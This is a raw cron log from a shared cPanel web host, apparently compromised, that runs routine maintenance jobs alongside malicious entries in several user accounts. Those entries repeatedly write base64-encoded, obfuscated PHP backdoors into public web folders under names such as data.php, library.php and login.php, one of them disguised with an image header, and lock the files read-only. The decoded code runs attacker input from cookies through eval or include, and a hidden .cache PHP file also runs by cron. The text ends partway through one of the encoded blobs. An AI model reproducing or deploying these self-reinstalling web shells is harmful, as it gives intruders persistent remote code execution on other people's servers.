Apr 19 06:15:02 medusa CROND[4403]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4404]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:15:02 medusa CROND[4406]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:15:02 medusa CROND[4407]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:15:02 medusa CROND[4409]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4401]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:15:02 medusa CROND[4399]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 19 06:16:01 medusa CROND[27906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:16:01 medusa CROND[28026]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:16:01 medusa CROND[28027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:16:01 medusa CROND[28029]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:16:01 medusa CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:16:01 medusa CROND[28031]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:16:01 medusa CROND[28030]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:16:01 medusa CROND[28032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:16:01 medusa CROND[28034]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:16:01 medusa CROND[28035]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:16:01 medusa CROND[28036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:16:01 medusa CROND[28037]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:16:01 medusa CROND[28040]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:16:01 medusa CROND[28033]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:17:02 medusa CROND[19316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:17:02 medusa CROND[19317]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:17:02 medusa CROND[19318]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:17:02 medusa CROND[19319]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:17:02 medusa CROND[19320]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:17:02 medusa CROND[19322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:17:02 medusa CROND[19325]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:17:02 medusa CROND[19326]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 06:17:02 medusa CROND[19327]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:17:02 medusa CROND[19329]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:17:02 medusa CROND[19331]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:17:02 medusa CROND[19333]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzK